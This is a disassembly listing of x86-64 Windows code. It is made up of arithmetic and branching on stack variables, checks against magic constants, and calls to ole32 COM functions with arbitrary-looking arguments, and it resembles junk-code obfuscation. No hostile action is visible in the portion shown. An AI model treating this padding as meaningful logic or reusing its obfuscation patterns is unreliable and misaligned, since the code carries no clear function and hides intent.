mov rax, qword [rsp + 0x67a0]
mov rcx, qword [rsp + 0x67d8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6140], rax
mov rax, qword [rsp + 0x6778]
mov rcx, qword [0x14024a008]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3738]
mov ecx, dword [rsp + 0x373c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3764], eax
mov rax, qword [rsp + 0x67b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3758]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x6760]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0x67c0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6798]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6778]
sub rcx, rax
mov rax, rcx
mov qword [0x14024a008], rax
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6798]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [0x14024a008]
movzx ecx, al
mov rax, qword [rsp + 0x6778]
shl rax, cl
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x373c]
shr eax, cl
mov dword [rsp + 0x3764], eax
mov eax, dword [rsp + 0x37a0]
mov ecx, dword [rsp + 0x37c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3790], eax
jmp 0x1400587a0
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc4c]
cdq
idiv ecx
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xf6c]
xor ecx, edx
cmp eax, ecx
jge 0x140058dba
mov rax, qword [rsp + 0x67a0]
mov rcx, qword [rsp + 0x67d8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6140], rax
mov rax, qword [rsp + 0x6740]
movzx eax, byte [rax]
mov byte [rsp + 0x3814], al
cmp byte [rsp + 0x3814], 0x57
je 0x140058d21
jmp 0x140058d9d
movsx eax, word [rsp + 0xf68]
movsx ecx, word [rsp + 0xf64]
add eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
lea r8, [rsp + 0x67f8]
lea rdx, [rsp + 0x28d60]
lea rcx, [rsp + 0x28d40]
call qword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
mov dword [rsp + 0x378c], eax
mov rax, qword [rsp + 0x6780]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
add eax, ecx
mov rcx, qword [rsp + 0x6798]
mov byte [rcx], al
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x172]
sub eax, ecx
mov byte [rsp + 0x16f], al
jmp 0x140058dba
movsx eax, word [rsp + 0xf64]
movsx ecx, word [rsp + 0xf68]
add eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf60], ax
mov dword [rsp + 0x3818], 0x76a5
mov eax, dword [rsp + 0x3764]
mov dword [rsp + 0x381c], eax
cmp dword [rsp + 0x381c], 0
je 0x140058e02
jmp 0x1401fd9c1
mov rax, qword [rsp + 0x6140]
mov qword [rsp + 0x6810], rax
movabs rax, 0x5a5b0dfb40c11f68
cmp qword [rsp + 0x6810], rax
je 0x140058e2b
jmp 0x140058f0c
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x373c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3764], eax
lea rcx, [rsp + 0x373c]
call qword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [rsp + 0x37bc], eax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf68]
xor eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x67e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x6760]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x67c0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov dword [rsp + 0x38], 0x61
mov rax, qword [rsp + 0x6818]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xfd
mov dword [rsp + 0x20], 0x5d
lea r9, [rsp + 0x6710]
mov r8d, 0x96
mov edx, 0x7d
lea rcx, [rsp + 0x67b8]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [rsp + 0x379c], eax
jmp 0x140058f6f
lea rax, [rsp + 0xf60]
mov qword [rsp + 0x6820], rax
mov dword [rsp + 0x3820], 0xa9a1
mov dword [rsp + 0x3824], 0x12a70
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov word [rsp + 0xf74], ax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x37a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3758], eax
lea rax, [rsp + 0x6140]
mov qword [rsp + 0x6828], rax
mov eax, dword [rsp + 0x373c]
mov dword [rsp + 0x3828], eax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
mov dword [rsp + 0x382c], eax
cmp dword [rsp + 0x382c], 0x728
je 0x140058fa1
jmp 0x140059084
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf68]
add eax, ecx
mov word [rsp + 0xf64], ax
movzx eax, word [rsp + 0xf6c]
movzx ecx, word [rsp + 0xc4c]
add eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
movzx eax, byte [rsp + 0x170]
mov byte [rsp + 0x3830], al
cmp byte [rsp + 0x3830], 0xf7
je 0x140058ff6
jmp 0x14005900d
mov edx, 0xc5
mov ecx, 0x8b
call qword [sym.imp.ole32.dll_CoCancelCall]
mov dword [rsp + 0x3834], eax
lea rdx, [rsp + 0x296e0]
lea rcx, [rsp + 0x67b8]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0x3838], eax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x172]
sub eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x172]
sub eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3828]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
jmp 0x1401fd963
cmp dword [rsp + 0x3824], 0xf176
jbe 0x140059292
mov rax, qword [rsp + 0x6738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3790], eax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [0x14024a008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x67a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x67d8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6798]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
shl eax, cl
mov rcx, qword [rsp + 0x6798]
mov byte [rcx], al
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x67c8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x67c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6778]
or rcx, rax
mov rax, rcx
mov qword [0x14024a008], rax
movsx eax, word [rsp + 0xf64]
movsx ecx, word [rsp + 0xf68]
add eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf74], ax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [0x14024a008]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3828]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x373c], eax
mov rax, qword [rsp + 0x6738]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x67e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6140]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x67d8], rax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x67e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x172], al
mov eax, dword [rsp + 0x3824]
sub eax, 0xdd
mov dword [rsp + 0x3824], eax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf68]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
movsx eax, word [rsp + 0xf68]
movsx ecx, word [rsp + 0xf64]
sub eax, ecx
mov word [rsp + 0xf70], ax
jmp 0x140059084
movzx eax, word [rsp + 0xf6c]
movzx ecx, word [rsp + 0xc4c]
sub eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
cmp dword [rsp + 0x3808], 0x15fa
jbe 0x140059614
mov rax, qword [rsp + 0x67a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6140]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x67d8], rax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [0x14024a008]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6778], rax
mov eax, dword [rsp + 0x3790]
movzx ecx, al
mov eax, dword [rsp + 0x37c4]
sar eax, cl
mov dword [rsp + 0x37a0], eax
mov eax, dword [rsp + 0x3738]
mov rcx, qword [rsp + 0x67b8]
mov qword [rsp + 0x6830], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6830]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
and eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x67e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf70]
and eax, ecx
mov word [rsp + 0xf64], ax
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6798]
mov byte [rcx], al
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3738]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67d8]
mov rcx, qword [rsp + 0x6140]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3758]
mov ecx, dword [rsp + 0x37c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [0x14024a008]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sar eax, cl
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x170]
shl eax, cl
mov rcx, qword [rsp + 0x6798]
mov byte [rcx], al
movsx eax, byte [rsp + 0x172]
movsx ecx, byte [rsp + 0x171]
or eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc4c], ax
mov eax, dword [rsp + 0x3764]
mov ecx, dword [rsp + 0x3738]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6828]
mov rcx, qword [rsp + 0x67a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6140], rax
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6778]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x66e8]
mov rcx, qword [rsp + 0x67e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3790], eax
movzx eax, word [rsp + 0xf60]
movzx ecx, word [rsp + 0xc4c]
and eax, ecx
mov word [rsp + 0xf6c], ax
mov eax, dword [rsp + 0x3808]
sub eax, 0xaf
mov dword [rsp + 0x3808], eax
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf70]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x67c0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
movsx eax, word [rsp + 0xf70]
movsx ecx, word [rsp + 0xf64]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
jmp 0x1400592af
movzx eax, word [rsp + 0xc4c]
mov rcx, qword [rsp + 0x6820]
movzx ecx, word [rcx]
sar eax, cl
movzx ecx, word [rsp + 0xf6c]
movzx edx, word [rsp + 0xf60]
xor ecx, edx
cmp eax, ecx
jge 0x14005966f
mov eax, dword [rsp + 0x3758]
mov rcx, qword [rsp + 0x6738]
mov qword [rsp + 0x6838], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6838]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x67e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
or rax, rcx
cmp rax, qword [0x14024a008]
ja 0x14005970b
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
and rax, rcx
cmp rax, qword [0x14024a008]
ja 0x14005970b
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x172]
add eax, ecx
mov rcx, qword [rsp + 0x6760]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x67c8]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
je 0x14005970b
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [rsp + 0x3828]
mov ecx, dword [rsp + 0x3764]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x373c], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rax]
call fcn.1401fe800
nop
mov rax, qword [rsp + 0x6140]
mov qword [rsp + 0x6840], rax
mov dword [rsp + 0x383c], 0xd213
cmp dword [rsp + 0x37fc], 0x12302
jae 0x140059bfe
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [0x14024a008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
movsx eax, word [rsp + 0xf68]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf64], ax
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6798]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0x67c0]
mov byte [rcx], al
movsx eax, word [rsp + 0xf64]
movsx ecx, word [rsp + 0xf68]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf74], ax
mov rax, qword [rsp + 0x6780]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x67e8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x6828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6840]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x67d8], rax
mov eax, dword [rsp + 0x3790]
mov rcx, qword [rsp + 0x6738]
mov qword [rsp + 0x6848], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6848]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x37c4], eax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x373c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [0x14024a008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc4c]
sub eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
movsx eax, word [rsp + 0xf64]
movsx ecx, word [rsp + 0xf70]
sub eax, ecx
mov word [rsp + 0xf68], ax
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x171]
sub eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x172]
add eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
add eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3738]
mov ecx, dword [rsp + 0x3828]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67e0]
mov ecx, dword [rsp + 0x37a0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a0]
mov rcx, qword [rsp + 0x6828]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6840], rax
mov rax, qword [rsp + 0x6780]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x67e8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6798]
mov byte [rcx], al
movzx eax, byte [rsp + 0x170]
movzx ecx, byte [rsp + 0x173]
or eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6778]
shr rax, cl
mov qword [0x14024a008], rax
mov eax, dword [rsp + 0x37fc]
add eax, 0x98
mov dword [rsp + 0x37fc], eax
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x172]
add eax, ecx
mov byte [rsp + 0x16f], al
movzx eax, word [rsp + 0xf6c]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3790]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3758], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [0x14024a008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x6828]
mov rcx, qword [rsp + 0x6140]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x373c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3828], eax
movsx eax, word [rsp + 0xf70]
movsx ecx, word [rsp + 0xf68]
add eax, ecx
mov word [rsp + 0xf64], ax
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf74]
add eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6778]
sub rcx, rax
mov rax, rcx
mov qword [0x14024a008], rax
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x67e8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x67a8]
mov qword [rsp + 0x6850], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6850]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6778], rax
mov eax, dword [rsp + 0x3828]
mov ecx, dword [rsp + 0x3764]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6140]
mov rcx, qword [rsp + 0x6828]
mov qword [rsp + 0x6858], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6858]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x67d8], rax
mov rax, qword [rsp + 0x67e0]
mov ecx, dword [rsp + 0x37c4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
jmp 0x140059726
cmp dword [rsp + 0x3774], 0xc3ac
ja 0x140059e9a
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf68]
add eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x172]
and eax, ecx
mov rcx, qword [rsp + 0x67c0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
add eax, ecx
mov word [rsp + 0xf60], ax
movsx eax, word [rsp + 0xf70]
movsx ecx, word [rsp + 0xf64]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x67a0]
mov rcx, qword [rsp + 0x6828]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6140], rax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3764]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3738], eax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [0x14024a008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x6738]
mov rcx, qword [rsp + 0x67e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3758], eax
mov eax, dword [rsp + 0x3774]
add eax, 0xdc
mov dword [rsp + 0x3774], eax
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x172]
add eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
mov rax, qword [rsp + 0x67c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x171]
or eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
movzx eax, word [rsp + 0xf60]
movzx ecx, word [rsp + 0xc4c]
shl eax, cl
mov word [rsp + 0xf74], ax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf70]
sar eax, cl
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x67a0]
mov rcx, qword [rsp + 0x6140]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x67d8], rax
mov eax, dword [rsp + 0x37a0]
mov ecx, dword [rsp + 0x3758]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3790], eax
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6778]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x373c]
mov ecx, dword [rsp + 0x3738]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6798]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
sub eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x172]
add eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
jmp 0x140059bfe
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
sub rax, rcx
cmp rax, qword [0x14024a008]
ja 0x14005a069
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
movsx ecx, byte [rsp + 0x172]
mov rdx, qword [rsp + 0x67c0]
movsx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
jl 0x14005a041
mov rax, qword [rsp + 0x67d8]
mov qword [rsp + 0x6860], rax
cmp qword [rsp + 0x6860], 0
je 0x140059f23
movabs rax, 0x7ef25f2d408ecb85
cmp qword [rsp + 0x6860], rax
je 0x140059f75
jmp 0x14005a03f
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x105], al
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
mov eax, dword [rsp + 0x373c]
mov dword [rsp + 0x3840], eax
jmp 0x14005a03f
mov rax, qword [rsp + 0x6760]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67c8]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x67c0]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jle 0x14005a003
mov rax, qword [rsp + 0x6828]
mov rcx, qword [rsp + 0x6140]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3790]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3758], eax
lea rdx, [rsp + 0x6760]
lea rcx, [rsp + 0x28da0]
call qword [sym.imp.ole32.dll_CoGetPSClsid]
